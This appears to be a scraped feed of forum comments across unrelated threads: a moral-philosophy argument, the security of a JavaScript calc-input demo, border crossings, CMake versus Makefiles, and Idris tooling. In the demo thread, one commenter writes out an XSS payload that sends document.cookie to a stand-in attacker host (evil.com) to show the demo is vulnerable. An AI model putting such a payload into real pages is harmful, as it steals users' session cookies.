                                                                                                                    I won’t bother to refute your claims about cultural priorities point by point. It should suffice to say that you are conflating specific instances of ethical hypocrisy and people making trade offs between negative and positive outcomes of decisions with an a shift in the generally accepted cultural ethical framework.

                                                                                                                    Furthermore, I don’t believe that you are foolish enough not to recognize the fallacies in your own position. I’ve seen this pattern of rhetoric from you repeatedly when social topics come up. Apart from claiming that the topic is inappropriate (fine, go ahead), you inevitably start making claims about weak and unsound arguments this is typically done by either:

                                                                                                                    • Ignoring widely understood cultural context
                                                                                                                    • Pretending that subtext, tone, and implication don’t exist in human communication
                                                                                                                    • Generally relying on empty reasoning like the previously mentioned “moral changes”

                                                                                                                    You take great pains to steer the conversation toward a meta-argument about the quality of arguments being made, while carefully avoiding taking actual position on the subject at hand. I’ve tried to give you the benefit of the doubt in these thread in general, but at this point I’m no longer convinced that you’re arguing in good faith. I’m not going to make suppositions about what you’re actually trying to accomplish, but whatever it is, I wish you’d just cowboy up and come out and say what you mean.

                                                                                                                    In the meantime, because you often seem interested to know why, I am downvoting your comments of this type as “troll” because it’s the closest available approximation to intellectual dishonesty. I realize you’d probably rather I engage you directly on each point, but honestly, picking apart your arguments while you run in rhetorical circles is both tedious and time-consuming, and I have other things to do.

                                                                                                                2. 3

                                                                                                                  Taking the slavery example here, it was amazingly useful for accomplishing things like the Pyramids, clearing land and farming, and various other things.

                                                                                                                  Useful? You see an End you like, and you think it justifies The Means. “Enslaving people is fine if it results in buildings that I like looking at!”

                                                                                                                  But you’d discover moral principles pretty damn fast if you were forced to work on building something for someone else.

                                                                                                                  Coercion is immoral, mm'kay?

                                                                                                                  1. 1

                                                                                                                    Coercion is immoral, mm'kay?

                                                                                                                    Try to think of some examples where we accept that coercion is reasonable and not immoral–start with, say, child-rearing.

                                                                                                          1. 7

                                                                                                            Your demo is vulnerable to XSS.

                                                                                                            If Math.max works, does alert(1) work? What about fetch('http://evil.com/?'+document.cookie)?

                                                                                                            Historically everyone trying to write a JavaScript sandbox without vulnerabilities failed. What’s your plan?

                                                                                                            1. 7

                                                                                                              Yes, this is more like a type=“eval” than anything else.

                                                                                                              1. 3

                                                                                                                My plan is not to hide behind any pretence of implementing it in a ‘more secure’ way at all! It is exactly what it looks like, and it should be very easy for people to read and understand :D

                                                                                                                1. 3

                                                                                                                  I think a proper parser would be sufficient.

                                                                                                                  1. 3

                                                                                                                    Isn’t that “self-XSS”? The user themselves have to change the field… so, they presumably already have access to the page? (And if you’re changing via JS then you already have JS access to the page?)

                                                                                                                    1. 3

                                                                                                                      Come on guys!

                                                                                                                      This is a proof-of-concept. Not a polyfill. Not a production-ready library. Sure it’s vulnerable to some attacks, but that’s because it’s an experiment (see the title: Dreaming of type=“calc”).

                                                                                                                      If it were ever implemented in major browsers, it would not be a JS solution, and would be properly sandboxed. Can we get past all that and just discuss the pros/cons of having this feature in native HTML?

                                                                                                                    1. 8

                                                                                                                      Sorry this happened. As a US resident, I didn’t realize how crazy it can be entering or leaving the United States until I did so for the first time. The US was by far the hardest country to get into for me (even though I’m a citizen). It’s a shame that interactions with customs is such a mixed bag, and I worry that it is actually going to get worse for the time being.

                                                                                                                      1. 3

                                                                                                                        I cross the border every single day (not a citizen), and have only ever been brought in once. But I also don’t do anything that would be considered suspicious by anyone.?

                                                                                                                        1. 11

                                                                                                                          “I don’t mind <blank> because I have nothing to hide” is a slippery slope.

                                                                                                                          1. 6

                                                                                                                            I don’t think that @zzing is making that argument.

                                                                                                                      1. 4

                                                                                                                        Microsoft loved to act like it had the best programmers programming applications for their platform, while in reality Microsoft had made huge strides in dumbing down programming into Visual Basic [&&.NET]

                                                                                                                        Which is another way of saying they created some libraries and languages that just did a lot of work, but I don’t see anything convincing me that it was “dumbing down” programming. The whole article seems to take a negative stab at the company.

                                                                                                                        1. 15

                                                                                                                          I’ve never bothered with qmake, but I’ve had some awful experiences with CMake. To be honest, whenever I see a project that requires CMake to build, I often just close the tab rather than even trying to build it, because CMake builds rarely - if ever - succeed.

                                                                                                                          I agree with every point the article makes. For CMake being such a complex and “full-featured” build tool, it’s broken in pretty fundamental ways. Also the suckless guys don’t like it, and as some of the best C developers I’ve seen, that’s a pretty good reason to stay away from CMake.

                                                                                                                          1. 12

                                                                                                                            I’ve had the same experience. I’ve found that the simpler the build system, the more likely I’ll build it successfully. e.g. almost every project I’ve found that just uses plain old Makefiles I can figure out how to build. Even if it errors, it’s easy to see why/how and fix it.

                                                                                                                            1. 5

                                                                                                                              Exactly. Makefiles are simple and transparent (and somehow manage to be more standardized CMake). I know that make && make install will work with the vast majority of Makefiles, while the CMake command seems to vary for each project.

                                                                                                                              1. 6

                                                                                                                                On the contrary. I know that anything with a Makefile with fail spectacularly. Major cause: no configure step.

                                                                                                                                Autotools is painfully slow, complicated and messy but generally works.

                                                                                                                                I don’t see many CMake projects around but everything I have tried has worked I think.

                                                                                                                                1. 3

                                                                                                                                  Is it possible that projects that use Make tend to be easier to build because they are usually smaller and less complicated than a project that needs the functionality of something like CMake or Autotools?

                                                                                                                                  1. 7

                                                                                                                                    OpenBSD is built without the use of CMake or Autotools. Just BSD make.

                                                                                                                                    1. 3

                                                                                                                                      OpenBSD would normally be built in an OpenBSD environment I would suspect, and has a configuration file.

                                                                                                                                      1. 4

                                                                                                                                        I think you’re getting at it depending on one environment to build one environment. Whereas the other tools are smoothing over issues involving many environments.

                                                                                                                                2. 3

                                                                                                                                  That’s the opposite of my experience back when I built software on interix, or when I cross-compiled for Angstrom. Any “complex” standardised build system - be that autotools, cmake, scons or something else - worked fine. Projects that used “simple” makefiles were impossible to build.

                                                                                                                                3. 5

                                                                                                                                  I’ve maintained code both using cmake and plain make. Cmake is awful, and for a Unix project, I’d pick make any day. Cmake is also within epsilon of being your only option if you care about good Windows support, so I don’t see it going away in the near to medium term future.

                                                                                                                                  1. 6

                                                                                                                                    What? When I see a CMake project I can typically build it like this:

                                                                                                                                    cmake -G "Unix Makefiles"
                                                                                                                                    make
                                                                                                                                    

                                                                                                                                    On some projects with non-packaged dependencies, this does not work. But the same problem is true for Autotools projects that require the paths of certain dependencies to be specified during the configure step.

                                                                                                                                  1. 3

                                                                                                                                    Is. That really markdown though? I mean, really, it is just YAML embedded in a fenced code block…

                                                                                                                                    The usefulness of this is great, though, I am disappointed that it wasn’t a markdown like language for actually building visualizations, networks, and other such things.

                                                                                                                                    1. 1

                                                                                                                                      Agreed. More of a DSL than markdown.

                                                                                                                                      1. 1

                                                                                                                                        I am not sure that they could have done it any different. We are talking about a technical description.

                                                                                                                                      1. 1

                                                                                                                                        [Blank] Driven Development - I have seen a few of these over the last few weeks. There was type driven, test driven, and now trait driven. Isn’t this missing the point? If these singular things drive your development, where does your actual design come from?

                                                                                                                                        One thing never can model the entire process, there are going to be things where it doesn’t cover.

                                                                                                                                        1. 1

                                                                                                                                          You’re looking for the [Blank] Oriented Design family.

                                                                                                                                          1. 1

                                                                                                                                            It’s just a short article and didn’t even advocate a design methodology. The first paragraph says “this title is a lie.”

                                                                                                                                          1. 1

                                                                                                                                            Why does frequentism sound like a creationist saying evolutionism?

                                                                                                                                            edit: After reading the post, I definitely want to read more. I have been reading Bayesian Statistics: An Introduction by Peter M. Lee - but it exposes my unfamiliarity with probability pretty quickly - I haven’t touched probability in a long time.

                                                                                                                                            1. 1

                                                                                                                                              If this is made with web technologies does that mean it can be stripped down and put on a website as a terminal style interface?

                                                                                                                                              1. 2

                                                                                                                                                How usable is Idris today?

                                                                                                                                                1. 12

                                                                                                                                                  I’ve been using Idris to solve some of the advent of code problems this year. I’ve picked it up and put it down about 5 times now, for previous projects too.

                                                                                                                                                  My breakdown:

                                                                                                                                                  Pros
                                                                                                                                                  • The repl is very powerful. It has a bunch of nice features and is generally very fleshed out
                                                                                                                                                  • The codegen for other platforms is very easy to get started with. I’ve been compiling Idris to JS, and using from inside Elm - Elm for the UI, Idris for the logic. It’s been working out pretty nicely on the whole
                                                                                                                                                  • Proving and preventing things is very powerful, e.g just by limiting vectors to a size, you gain a bunch of reasoning around your code
                                                                                                                                                  • Named arguments in the type signature is amazing and I wish more languages had that, especially since point-free style can be so pretty
                                                                                                                                                  • Implied arguments can make a lot of sense sometime, e.g cast {from=String} {to=Int}
                                                                                                                                                  • A lot of really nice extensions from Haskell are included by default. Records are generally better too
                                                                                                                                                  Cons
                                                                                                                                                  • The docs are pretty well hidden.
                                                                                                                                                    • Generally you are recommended to use the repl to figure things out, but a repl does not replace a good reference
                                                                                                                                                    • Links to the library docs are nowhere to be found. I’ve had to bookmark the page because otherwise I end up losing it all the time
                                                                                                                                                    • The tutorial is not written for inexperienced people.
                                                                                                                                                  • Compiler error messages are definitely not friendly
                                                                                                                                                  • Compile times for anything involving complicated proofs are very long
                                                                                                                                                  • There’s a big lack of libraries. Part of this might be down to the lack of a package manager
                                                                                                                                                  • Some things like take don’t seem to be correctly resolvable by the compiler - it will frequently complain about being unable to figure out which one you want unless you use List.take

                                                                                                                                                  Overall, I’m having a blast. I’m even considering using it to generate Native Elm code in a safer manner. We’ll see about that though.

                                                                                                                                                  1. 5

                                                                                                                                                    I think the documentation being the REPL is a great thing:

                                                                                                                                                    Idris> :doc Nat
                                                                                                                                                    Data type Prelude.Nat.Nat : Type
                                                                                                                                                        Natural numbers: unbounded, unsigned integers which can be pattern
                                                                                                                                                        matched.
                                                                                                                                                    
                                                                                                                                                    Constructors:
                                                                                                                                                        Z : Nat
                                                                                                                                                            Zero
                                                                                                                                                    
                                                                                                                                                        S : Nat -> Nat
                                                                                                                                                            Successor     
                                                                                                                                                    
                                                                                                                                                    Idris> :apropos zip
                                                                                                                                                    
                                                                                                                                                    Prelude.List.unzip : List (a, b) -> (List a, List b)
                                                                                                                                                    Split a list of pairs into two lists
                                                                                                                                                    
                                                                                                                                                    Prelude.Stream.unzip : Stream (a, b) -> (Stream a, Stream b)
                                                                                                                                                    Create a pair of streams from a stream of pairs
                                                                                                                                                    
                                                                                                                                                    Prelude.List.unzip3 : List (a, b, c) -> (List a, List b, List c)
                                                                                                                                                    Split a list of triples into three lists
                                                                                                                                                    

                                                                                                                                                    No need to click around a browser and find the right section. Just search your code and get documentation for whatever you like.

                                                                                                                                                    1. 6

                                                                                                                                                      It’s not discoverable. You need to know the commands in order to get the docs - e.g :doc, :search, :apropos, :t and so on. It’s not the natural point of entry for many people. It’s also quite hard to know what Idris has named some things, making searching via name or type not so easy. That’s when the reference docs come in handy. Having a browser and being able to link people directly to the function they need is kinda vital to encouraging more people to pick something up, I feel. repls for docs are great when you know what you’re even meant to be typing - not so much if you don’t :)

                                                                                                                                                      1. 3

                                                                                                                                                        I think it’s a natural entry point for people to type in :help. Yes, people have to learn how to use the commands but it’s definitely nicer than a website.

                                                                                                                                                        You also often don’t have to know what Idris names things:

                                                                                                                                                        Idris> :search S n + m = n + S m
                                                                                                                                                        = Prelude.Nat.plusSuccRightSucc : (left : Nat) ->
                                                                                                                                                                                          (right : Nat) -> S (left + right) = left + S right
                                                                                                                                                        
                                                                                                                                                        1. 1

                                                                                                                                                          Until you’ve done something with Nat, you don’t even know what S or Z means. I think the repl is nice, but I also don’t think it can replace a website.

                                                                                                                                                          1. 2

                                                                                                                                                            My original example of :doc Nat shows what S and Z are - but I don’t think a REPL or a website are the appropriate tools for learning concepts such as Nat.

                                                                                                                                                    2. 5

                                                                                                                                                      Thanks for the constructive comments!

                                                                                                                                                      We definitely need to improve documentation, or at least make it easier to find. There are links on http://www.idris-lang.org/documentation/ but it could still use some better organisation. When I wrote the tutorial it was pretty much entirely as a kind of bootstrap process to get some experienced people up to speed. I think it still serves a useful purpose in doing that, but some more introductory materials would be good. I keep hoping that someone will write an alternative tutorial with a different target audience, but alas “hoping” is not a very good strategy for getting things done…

                                                                                                                                                      All of the other things you mention are things we’d like to improve. We don’t have many resources to throw at the problems though, so it’ll take time, but I hope we’ll get there eventually!

                                                                                                                                                      1. 1

                                                                                                                                                        No problem! Not sure if you remember me, but I was one of the people who interviewed to do a PhD with you (FRP in Idris). So it’s been on my “let’s really play with this” list since then - which was about two years ago! This is my first real attempt of using Idris from production perspective - other things I’ve made with it have mainly been experiments, whereas right now I’m seriously investigating using it with Elm, at least for some things.

                                                                                                                                                        Is the main site on Github/open to pull requests? I’d love to help out a bit.

                                                                                                                                                        1. 3

                                                                                                                                                          Ah yes, I think I know who you are now :). We’re certainly open to pull requests. In particular, it’s good to see that you’re having some success with the JS back end, especially since we haven’t really put much effort into it for ages, so if you have useful contributions there, that’d be great!

                                                                                                                                                        2. 1

                                                                                                                                                          Do you have a link to a recent write-up on doing a systems application or component in IDRIS showing the triumphs or difficulties? And that is not by one of its developers? I mean, your write-ups are great but I like seeing what average newcomer from functional and/or systems background can do too. These can be different. ;)

                                                                                                                                                      2. 2

                                                                                                                                                        Main limitations for practical use for most people (assuming they get over the learning hurdle which is all most folks talk about) will be runtime performance and lack of a concurrency story.

                                                                                                                                                        1. 2

                                                                                                                                                          https://github.com/idris-lang/Idris-dev/blob/master/libs/base/System/Concurrency/Channels.idr is at least erlangish style concurrency via multiple processes if you do message passing.

                                                                                                                                                          Everything else you said is spot on, Idris has lots of rough edges but its still a research compiler so to be expected.